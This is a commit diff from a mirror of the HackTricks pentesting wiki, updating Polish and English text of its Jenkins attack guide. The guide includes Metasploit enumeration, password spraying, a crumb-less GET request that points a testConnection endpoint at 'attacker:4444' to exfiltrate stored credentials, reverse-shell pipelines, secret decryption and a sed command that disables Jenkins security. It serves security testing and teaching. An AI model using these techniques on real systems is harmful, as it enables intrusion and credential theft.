gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-ci-cd/jenkins-security/basic-jenkins-inf

Browse Source
This commit is contained in:
Translator
2026-01-17 16:56:47 +00:00
parent e62a5d0b66
commit 72d6e64bea
2 changed files with 147 additions and 119 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-ci-cd/jenkins-security/README.md
+97 -81
View File
@@ -1,32 +1,32 @@
# Jenkins Security
# Bezpieczeństwo Jenkins
{{#include ../../banners/hacktricks-training.md}}
## Podstawowe informacje
Jenkins to narzędzie, które oferuje prostą metodę do stworzenia środowiska **ciągłej integracji** lub **ciągłego dostarczania** (CI/CD) dla prawie **dowolnej** kombinacji **języków programowania** i repozytoriów kodu źródłowego za pomocą pipeline'ów. Ponadto automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje **konieczności tworzenia skryptów dla poszczególnych kroków**, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowy, testowania i wdrażania niż można łatwo skonstruować ręcznie.
Jenkins to narzędzie, które oferuje prosty sposób na utworzenie środowiska **continuous integration** lub **continuous delivery** (CI/CD) dla niemal **dowolnej** kombinacji **języków programowania** i repozytoriów kodu źródłowego z użyciem pipeline'ów. Dodatkowo automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje **potrzeby tworzenia skryptów dla poszczególnych kroków**, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowania, testowania i wdrażania, niż można to łatwo skonstruować ręcznie.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
## Niezautoryzowana enumeracja
## Enumeracja bez uwierzytelnienia
Aby wyszukiwać interesujące strony Jenkins bez uwierzytelnienia, takie jak (_/people_ lub _/asynchPeople_, które wyświetlają aktualnych użytkowników), możesz użyć:
Aby wyszukać interesujące strony Jenkins bez uwierzytelnienia, takie jak (_/people_ lub _/asynchPeople_, które wyświetlają aktualnych użytkowników), możesz użyć:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Sprawdź, czy możesz wykonywać polecenia bez potrzeby uwierzytelnienia:
Sprawdź, czy możesz wykonywać polecenia bez uwierzytelniania:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Bez poświadczeń możesz zajrzeć do ścieżki _**/asynchPeople/**_ lub _**/securityRealm/user/admin/search/index?q=**_ w poszukiwaniu **nazw użytkowników**.
Możesz być w stanie uzyskać wersję Jenkins z ścieżki _**/oops**_ lub _**/error**_
Możesz być w stanie uzyskać wersję Jenkinsa z ścieżki _**/oops**_ lub _**/error**_
![](<../../images/image (146).png>)
### Znane luki
### Znane podatności
{{#ref}}
https://github.com/gquere/pwn_jenkins
@@ -34,7 +34,7 @@ https://github.com/gquere/pwn_jenkins
## Logowanie
W podstawowych informacjach możesz sprawdzić **wszystkie sposoby logowania się do Jenkins**:
W podstawowych informacjach możesz sprawdzić **wszystkie sposoby logowania w Jenkins**:
{{#ref}}
basic-jenkins-information.md
@@ -42,124 +42,140 @@ basic-jenkins-information.md
### Rejestracja
Będziesz w stanie znaleźć instancje Jenkins, które **pozwalają na utworzenie konta i zalogowanie się do nich. Tak prosto.**
Możesz znaleźć instancje Jenkins, które **pozwalają na utworzenie konta i zalogowanie się do nich. Tak proste.**
### **Logowanie SSO**
Jeśli **funkcjonalność**/**wtyczki** SSO były obecne, powinieneś spróbować **zalogować się** do aplikacji za pomocą konta testowego (tj. testowe **konto Github/Bitbucket**). Sztuczka z [**tutaj**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
Jeśli dostępne były funkcje/plug-iny **SSO**, powinieneś spróbować **zalogować się** do aplikacji przy użyciu konta testowego (np. testowego konta **Github/Bitbucket**). Sposób opisany [**tutaj**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
**Jenkins** nie ma **polityki haseł** ani **łagodzenia ataków brute-force na nazwy użytkowników**. Ważne jest, aby **próbować brute-force** użytkowników, ponieważ mogą być używane **słabe hasła** lub **nazwy użytkowników jako hasła**, nawet **odwrócone nazwy użytkowników jako hasła**.
**Jenkins** nie ma **polityki haseł** ani zabezpieczeń przed **username brute-force**. Konieczne jest zastosowanie **brute-force** wobec użytkowników, ponieważ mogą być używane **słabe hasła** lub **nazwy użytkowników jako hasła**, a nawet **odwrócone nazwy użytkowników jako hasła**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
Użyj [tego skryptu python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) lub [tego skryptu powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
Użyj [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) lub [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP Whitelisting Bypass
Wiele organizacji łączy **systemy zarządzania kodem źródłowym (SCM) oparte na SaaS**, takie jak GitHub lub GitLab, z **wewnętrznym, samodzielnie hostowanym rozwiązaniem CI**, takim jak Jenkins lub TeamCity. Taka konfiguracja pozwala systemom CI na **otrzymywanie zdarzeń webhook z dostawców SCM opartych na SaaS**, głównie w celu uruchamiania zadań w pipeline.
Wiele organizacji łączy **SaaS-based source control management (SCM) systems** takie jak GitHub lub GitLab z **internal, self-hosted CI** rozwiązaniem, takim jak Jenkins lub TeamCity. Ta konfiguracja pozwala systemom CI **receive webhook events from SaaS source control vendors**, głównie w celu uruchamiania zadań pipeline.
Aby to osiągnąć, organizacje **dodają do białej listy** **zakresy IP** **platform SCM**, zezwalając im na dostęp do **wewnętrznego systemu CI** za pośrednictwem **webhooków**. Ważne jest jednak, aby zauważyć, że **każdy** może założyć **konto** na GitHubie lub GitLabie i skonfigurować je do **uruchamiania webhooka**, potencjalnie wysyłając żądania do **wewnętrznego systemu CI**.
Aby to osiągnąć, organizacje whitelistują zakresy adresów IP (IP ranges) platform SCM, umożliwiając im dostęp do internal CI system przez webhooks. Jednak warto pamiętać, że każdy może założyć konto na GitHub lub GitLab i skonfigurować je tak, by uruchamiać webhook, potencjalnie wysyłając żądania do internal CI system.
Sprawdź: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Internal Jenkins Abuses
## Wewnętrzne nadużycia Jenkins
W tych scenariuszach zakładamy, że masz ważne konto do uzyskania dostępu do Jenkinsa.
W tych scenariuszach zakładamy, że masz ważne konto z dostępem do Jenkins.
> [!WARNING]
> W zależności od skonfigurowanego mechanizmu **autoryzacji** w Jenkinsie oraz uprawnień skompromitowanego użytkownika **możesz być w stanie lub nie wykonać następujące ataki.**
> W zależności od mechanizmu **Authorization** skonfigurowanego w Jenkins oraz uprawnień skompromitowanego użytkownika możesz, ale nie musisz, być w stanie przeprowadzić poniższe ataki.
Aby uzyskać więcej informacji, sprawdź podstawowe informacje:
Aby uzyskać więcej informacji, zobacz podstawowe informacje:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Listing users
### Lista użytkowników
Jeśli uzyskałeś dostęp do Jenkinsa, możesz wylistować innych zarejestrowanych użytkowników w [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
Jeżeli uzyskałeś dostęp do Jenkins, możesz wyświetlić innych zarejestrowanych użytkowników pod adresem http://127.0.0.1:8080/asynchPeople/
### Dumping builds to find cleartext secrets
### Zrzucanie buildów w celu znalezienia sekretów w postaci tekstu jawnego
Użyj [tego skryptu](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py), aby zrzucić wyjścia konsoli budowy i zmienne środowiskowe budowy, aby mieć nadzieję na znalezienie tajemnic w postaci tekstu jawnego.
Użyj [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) aby zrzucić build console outputs i build environment variables, w nadziei na znalezienie sekretów w postaci tekstu jawnego.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
Niektóre pluginy udostępniają Jelly `validateButton` lub `test connection` handlers pod ścieżkami takimi jak `/descriptorByName/<Class>/testConnection`. Jeśli handlery **nie wymuszają POST ani sprawdzeń uprawnień**, możesz:
- Zmień POST na GET i usuń Crumb, by obejść CSRF.
- Wywołaj handler jako low-priv/anonymous, jeśli nie istnieje sprawdzenie `Jenkins.ADMINISTER`.
- Wykonaj CSRF na adminie i zamień parametr host/URL, aby exfiltrate credentials lub wywołać połączenia wychodzące.
- Wykorzystaj błędy odpowiedzi (np. `ConnectException`) jako oracle SSRF/port-scan.
Przykład GET (bez Crumb) zamieniający wywołanie walidacyjne w SSRF/credential exfiltration:
```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
### **Kradzież poświadczeń SSH**
Jeśli skompromitowany użytkownik ma **wystarczające uprawnienia do tworzenia/modyfikowania nowego węzła Jenkins** i poświadczenia SSH są już zapisane do uzyskania dostępu do innych węzłów, może **ukraść te poświadczenia**, tworząc/modyfikując węzeł i **ustawiając hosta, który zarejestruje poświadczenia** bez weryfikacji klucza hosta:
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
![](<../../images/image (218).png>)
Zazwyczaj znajdziesz poświadczenia SSH Jenkins w **globalnym dostawcy** (`/credentials/`), więc możesz je również zrzucić, tak jak zrzucasz inne sekrety. Więcej informacji w sekcji [**Zrzucanie sekretów**](./#dumping-secrets).
Zwykle znajdziesz Jenkins ssh credentials w **global provider** (`/credentials/`), więc możesz też je zrzucić tak, jak zrzucasz inne sekrety. Więcej informacji w [**sekcji Dumping secrets**](#dumping-secrets).
### **RCE w Jenkins**
### **RCE in Jenkins**
Uzyskanie **powłoki na serwerze Jenkins** daje atakującemu możliwość wycieku wszystkich **sekretów** i **zmiennych środowiskowych** oraz **eksploatacji innych maszyn** znajdujących się w tej samej sieci lub nawet **zbierania poświadczeń chmurowych**.
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
Domyślnie Jenkins będzie **działał jako SYSTEM**. Tak więc, skompromitowanie go da atakującemu **uprawnienia SYSTEM**.
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
### **RCE Tworzenie/Modyfikowanie projektu**
### **RCE Creating/Modifying a project**
Tworzenie/modyfikowanie projektu to sposób na uzyskanie RCE na serwerze Jenkins:
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE Wykonanie skryptu Groovy**
### **RCE Execute Groovy script**
Możesz również uzyskać RCE, wykonując skrypt Groovy, co może być bardziej dyskretne niż tworzenie nowego projektu:
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### RCE Tworzenie/Modyfikowanie Pipeline
### RCE Creating/Modifying Pipeline
Możesz również uzyskać **RCE, tworząc/modyfikując pipeline**:
You can also get **RCE by creating/modifying a pipeline**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Eksploatacja Pipeline
## Eksploatacja pipeline'ów
Aby eksploatować pipeline, nadal musisz mieć dostęp do Jenkins.
To exploit pipelines you still need to have access to Jenkins.
### Pipeline Budowy
### Build Pipelines
**Pipelines** mogą być również używane jako **mechanizm budowy w projektach**, w takim przypadku można skonfigurować **plik w repozytorium**, który będzie zawierał składnię pipeline. Domyślnie używany jest `/Jenkinsfile`:
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
![](<../../images/image (127).png>)
Możliwe jest również **przechowywanie plików konfiguracyjnych pipeline w innych miejscach** (na przykład w innych repozytoriach) w celu **oddzielenia** dostępu do repozytorium i dostępu do pipeline.
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
Jeśli atakujący ma **dostęp do zapisu w tym pliku**, będzie mógł go **zmodyfikować** i **potencjalnie uruchomić** pipeline bez nawet dostępu do Jenkins.\
Możliwe, że atakujący będzie musiał **obejść niektóre zabezpieczenia gałęzi** (w zależności od platformy i uprawnień użytkownika mogą być one obejdźne lub nie).
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
Najczęstsze wyzwalacze do wykonania niestandardowego pipeline to:
The most common triggers to execute a custom pipeline are:
- **Pull request** do głównej gałęzi (lub potencjalnie do innych gałęzi)
- **Push do głównej gałęzi** (lub potencjalnie do innych gałęzi)
- **Aktualizacja głównej gałęzi** i czekanie, aż zostanie wykonana w jakiś sposób
- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow
> [!NOTE]
> Jeśli jesteś **użytkownikiem zewnętrznym**, nie powinieneś oczekiwać, że stworzysz **PR do głównej gałęzi** repozytorium **innego użytkownika/organizacji** i **uruchomisz pipeline**... ale jeśli jest **źle skonfigurowany**, możesz całkowicie **skomprymować firmy, po prostu to eksploatując**.
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
### RCE Pipeline
### Pipeline RCE
W poprzedniej sekcji RCE już wskazano technikę, aby [**uzyskać RCE, modyfikując pipeline**](./#rce-creating-modifying-pipeline).
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
### Sprawdzanie zmiennych środowiskowych
### Checking Env variables
Możliwe jest zadeklarowanie **zmiennych środowiskowych w postaci czystego tekstu** dla całego pipeline lub dla konkretnych etapów. Te zmienne środowiskowe **nie powinny zawierać wrażliwych informacji**, ale atakujący zawsze może **sprawdzić wszystkie konfiguracje pipeline/Jenkinsfiles:**
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
```bash
pipeline {
agent {label 'built-in'}
@@ -174,21 +190,21 @@ STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets
### Zrzucanie sekretów
Aby uzyskać informacje na temat tego, jak sekrety są zazwyczaj traktowane przez Jenkins, zapoznaj się z podstawowymi informacjami:
Aby dowiedzieć się, jak Jenkins zazwyczaj traktuje sekrety, sprawdź podstawowe informacje:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`) lub do **konkretnych projektów** (`/job/<project-name>/configure`). Dlatego, aby wyeksportować je wszystkie, musisz **skompromitować przynajmniej wszystkie projekty**, które zawierają sekrety i wykonać niestandardowe/zepsute potoki.
Poświadczenia mogą być **przypisane do globalnych providerów** (`/credentials/`) lub do **konkretnych projektów** (`/job/<project-name>/configure`). Dlatego, aby wyeksfiltrować wszystkie, musisz **skompromisować przynajmniej wszystkie projekty**, które zawierają sekrety i uruchomić niestandardowe/zatrute pipelines.
Jest jeszcze jeden problem, aby uzyskać **sekret w env** potoku, musisz **znać nazwę i typ sekrety**. Na przykład, jeśli spróbujesz **załadować** **sekret** **`usernamePassword`** jako **sekret** **`string`**, otrzymasz ten **błąd**:
Jest jeszcze inny problem — aby umieścić **sekret inside the env** pipeline'a musisz **znać nazwę i typ sekretu**. Na przykład, jeśli spróbujesz **załadować** **`usernamePassword`** **secret** jako **`string`** **secret**, otrzymasz ten **błąd**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Oto sposób na załadowanie niektórych powszechnych typów sekretów:
Oto sposób ładowania kilku powszechnych typów sekretów:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
@@ -216,46 +232,46 @@ env
'''
}
```
Na końcu tej strony możesz **znaleźć wszystkie typy poświadczeń**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
Na końcu tej strony możesz **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> Najlepszym sposobem na **zrzucenie wszystkich sekretów jednocześnie** jest **kompromitacja** maszyny **Jenkins** (na przykład uruchamiając odwróconą powłokę w **wbudowanym węźle**) i następnie **wyciek** **kluczy głównych** oraz **zaszyfrowanych sekretów** i odszyfrowanie ich offline.\
> Więcej na ten temat w sekcji [Nodes & Agents](./#nodes-and-agents) oraz w sekcji [Post Exploitation](./#post-exploitation).
> Najlepszym sposobem, aby **dump all the secrets at once** jest **compromising** maszyny **Jenkins** (np. uruchamiając reverse shell w **built-in node**) i następnie **leaking** **master keys** i **encrypted secrets** oraz odszyfrowanie ich offline.\
> Więcej na temat jak to zrobić w [Nodes & Agents section](#nodes-and-agents) oraz w [Post Exploitation section](#post-exploitation).
### Wyzwalacze
Z [dokumentacji](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Dyrektywa `triggers` definiuje **automatyczne sposoby, w jakie Pipeline powinien być ponownie wyzwalany**. Dla Pipeline'ów, które są zintegrowane z źródłem takim jak GitHub lub BitBucket, `triggers` mogą nie być konieczne, ponieważ integracja oparta na webhookach prawdopodobnie już istnieje. Obecnie dostępne wyzwalacze to `cron`, `pollSCM` i `upstream`.
Z [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Dyrektywa `triggers` definiuje **automatyczne sposoby, w jaki Pipeline powinien być ponownie uruchamiany**. Dla Pipeline'ów zintegrowanych ze źródłem takim jak GitHub lub BitBucket, `triggers` mogą nie być konieczne, ponieważ integracja oparta na webhookach prawdopodobnie już istnieje. Obecnie dostępne `triggers` to `cron`, `pollSCM` i `upstream`.
Przykład cron:
Przykład `cron`:
```bash
triggers { cron('H */4 * * 1-5') }
```
Sprawdź **inne przykłady w dokumentacji**.
### Węzły i Agenci
### Węzły & Agents
Instancja **Jenkins** może mieć **różnych agentów działających na różnych maszynach**. Z perspektywy atakującego, dostęp do różnych maszyn oznacza **różne potencjalne dane uwierzytelniające do chmury** do kradzieży lub **różny dostęp do sieci**, który można wykorzystać do eksploatacji innych maszyn.
A **Jenkins instance** might have **different agents running in different machines**. Z perspektywy attacker, dostęp do różnych maszyn oznacza **different potential cloud credentials** do kradzieży lub **different network access**, który może być wykorzystany do eksploatacji innych maszyn.
Aby uzyskać więcej informacji, sprawdź podstawowe informacje:
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Możesz wyliczyć **skonfigurowane węzły** w `/computer/`, zazwyczaj znajdziesz \*\*`Wbudowany Węzeł` \*\* (który jest węzłem uruchamiającym Jenkins) i potencjalnie więcej:
Możesz wylistować **skonfigurowane węzły** w `/computer/`, zazwyczaj znajdziesz the \*\*`Built-In Node` \*\* (który jest węzłem uruchamiającym Jenkins) i potencjalnie więcej:
![](<../../images/image (249).png>)
Jest **szczególnie interesujące, aby skompromitować Wbudowany węzeł**, ponieważ zawiera wrażliwe informacje o Jenkinsie.
Szczególnie interesujące jest przejęcie **Built-In node**, ponieważ zawiera wrażliwe informacje dotyczące Jenkins.
Aby wskazać, że chcesz **uruchomić** **pipeline** w **wbudowanym węźle Jenkins**, możesz określić w pipeline następującą konfigurację:
Aby wskazać, że chcesz **run** the **pipeline** w **built-in Jenkins node** możesz w ramach pipeline określić następującą konfigurację:
```bash
pipeline {
agent {label 'built-in'}
```
### Pełny przykład
Pipeline w konkretnym agencie, z wyzwalaczem cron, z zmiennymi środowiskowymi pipeline i etapu, ładujący 2 zmienne w kroku i wysyłający reverse shell:
Pipeline na konkretnym agencie, z cron trigger, z pipeline i stage env variables, ładując 2 zmienne w kroku i wysyłając reverse shell:
```bash
pipeline {
agent {label 'built-in'}
@@ -286,7 +302,7 @@ cleanWs()
}
}
```
## Odczyt dowolnego pliku do RCE
## Arbitrary File Read to RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -306,7 +322,7 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Po eksploatacji
## Post Exploitation
### Metasploit
```
@@ -314,9 +330,9 @@ msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
Możesz wylistować sekrety, uzyskując dostęp do `/credentials/`, jeśli masz wystarczające uprawnienia. Zauważ, że to wylistuje tylko sekrety znajdujące się w pliku `credentials.xml`, ale **pliki konfiguracyjne budowy** mogą również zawierać **więcej poświadczeń**.
Możesz wylistować secrets uzyskując dostęp do `/credentials/`, jeśli masz wystarczające uprawnienia. Zwróć uwagę, że to wyświetli jedynie secrets znajdujące się w pliku `credentials.xml`, ale **build configuration files** mogą również zawierać **więcej credentials**.
Jeśli możesz **zobaczyć konfigurację każdego projektu**, możesz również zobaczyć tam **nazwy poświadczeń (sekretów)** używanych do uzyskania dostępu do repozytorium oraz **inne poświadczenia projektu**.
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
![](<../../images/image (180).png>)
@@ -326,14 +342,14 @@ Jeśli możesz **zobaczyć konfigurację każdego projektu**, możesz również
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### From disk
#### Z dysku
Te pliki są potrzebne do **odszyfrowania sekretów Jenkins**:
Te pliki są potrzebne, aby **odszyfrować Jenkins secrets**:
- secrets/master.key
- secrets/hudson.util.Secret
Takie **sekrety można zazwyczaj znaleźć w**:
Takie **secrets zwykle można znaleźć w**:
- credentials.xml
- jobs/.../build.xml
@@ -349,9 +365,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Decryptuj sekrety Jenkins offline
#### Odszyfruj sekrety Jenkins offline
Jeśli zrzuciłeś **potrzebne hasła do odszyfrowania sekretów**, użyj [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **do odszyfrowania tych sekretów**.
Jeśli zrzuciłeś **wymagane hasła do odszyfrowania sekretów**, użyj [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **aby odszyfrować te sekrety**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -359,20 +375,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Odszyfrowanie sekretów Jenkins z Groovy
#### Odszyfruj sekrety Jenkins z Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Utwórz nowego użytkownika administratora
1. Uzyskaj dostęp do pliku Jenkins config.xml w `/var/lib/jenkins/config.xml` lub `C:\Program Files (x86)\Jenkis\`
2. Wyszukaj słowo `<useSecurity>true</useSecurity>` i zmień słowo **`true`** na **`false`**.
2. Znajdź element `<useSecurity>true</useSecurity>` i zmień wartość **`true`** na **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Uruchom ponownie** serwer **Jenkins**: `service jenkins restart`
4. Teraz przejdź ponownie do portalu Jenkins i **Jenkins nie poprosi o żadne dane uwierzytelniające** tym razem. Przejdź do "**Zarządzaj Jenkins**", aby ustawić **hasło administratora ponownie**.
5. **Włącz** ponownie **bezpieczeństwo**, zmieniając ustawienia na `<useSecurity>true</useSecurity>` i **uruchom ponownie Jenkins**.
3. **Zrestartuj** serwer **Jenkins**: `service jenkins restart`
4. Wejdź ponownie do portalu Jenkins — tym razem **Jenkins nie będzie wymagać żadnych poświadczeń**. Przejdź do "**Manage Jenkins**", aby ustawić **ponownie hasło administratora**.
5. Ponownie **włącz** **bezpieczeństwo** zmieniając ustawienie na `<useSecurity>true</useSecurity>` i ponownie **zrestartuj Jenkins**.
## Odniesienia
## Źródła
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+50 -38
View File
@@ -1,87 +1,98 @@
# Podstawowe informacje o Jenkinsie
# Podstawowe informacje o Jenkins
{{#include ../../banners/hacktricks-training.md}}
## Dostęp
### Nazwa użytkownika + Hasło
### Nazwa użytkownika + hasło
Najczęstszy sposób logowania do Jenkins to użycie nazwy użytkownika lub hasła.
Najczęstszym sposobem logowania do Jenkins jest użycie nazwy użytkownika i hasła.
### Cookie
Jeśli **autoryzowane cookie zostanie skradzione**, może być użyte do uzyskania dostępu do sesji użytkownika. Cookie zazwyczaj nazywa się `JSESSIONID.*`. (Użytkownik może zakończyć wszystkie swoje sesje, ale najpierw musi się dowiedzieć, że cookie zostało skradzione).
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
### SSO/Wtyczki
### SSO/Plugins
Jenkins może być skonfigurowany za pomocą wtyczek, aby być **dostępnym przez zewnętrzne SSO**.
Jenkins can be configured using plugins to be **accessible via third party SSO**.
### Tokeny
### Tokens
**Użytkownicy mogą generować tokeny**, aby umożliwić aplikacjom podszywanie się pod nich za pomocą CLI lub REST API.
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
### Klucze SSH
### SSH Keys
Ten komponent zapewnia wbudowany serwer SSH dla Jenkins. Jest to alternatywny interfejs dla [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), a polecenia mogą być wywoływane w ten sposób za pomocą dowolnego klienta SSH. (Z [dokumentacji](https://plugins.jenkins.io/sshd/))
This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
## Autoryzacja
W `/configureSecurity` można **skonfigurować metodę autoryzacji Jenkins**. Istnieje kilka opcji:
W `/configureSecurity` można **skonfigurować metodę autoryzacji w Jenkins**. Istnieje kilka opcji:
- **Każdy może robić cokolwiek**: Nawet anonimowy dostęp może administrować serwerem.
- **Tryb dziedziczony**: Tak jak w Jenkins <1.164. Jeśli masz **rolę "admin"**, otrzymasz **pełną kontrolę** nad systemem, a **w przeciwnym razie** (w tym **anonimowi** użytkownicy) będziesz miał **dostęp do odczytu**.
- **Zalogowani użytkownicy mogą robić cokolwiek**: W tym trybie każdy **zalogowany użytkownik ma pełną kontrolę** nad Jenkins. Jedynym użytkownikiem, który nie będzie miał pełnej kontroli, jest **użytkownik anonimowy**, który ma tylko **dostęp do odczytu**.
- **Bezpieczeństwo oparte na macierzy**: Możesz skonfigurować **kto może robić co** w tabeli. Każda **kolumna** reprezentuje **uprawnienie**. Każdy **wiersz** **reprezentuje** **użytkownika lub grupę/rolę.** Obejmuje to specjalnego użytkownika '**anonimowy**', który reprezentuje **użytkowników nieautoryzowanych**, a także '**autoryzowany**', który reprezentuje **wszystkich użytkowników autoryzowanych**.
- **Anyone can do anything**: Even anonymous access can administrate the server
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
![](<../../images/image (149).png>)
- **Strategia autoryzacji oparta na projektach:** Ten tryb jest **rozszerzeniem** "**bezpieczeństwa opartego na macierzy**", które pozwala na **definiowanie dodatkowej macierzy ACL dla każdego projektu osobno.**
- **Strategia oparta na rolach:** Umożliwia definiowanie autoryzacji za pomocą **strategii opartej na rolach**. Zarządzaj rolami w `/role-strategy`.
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
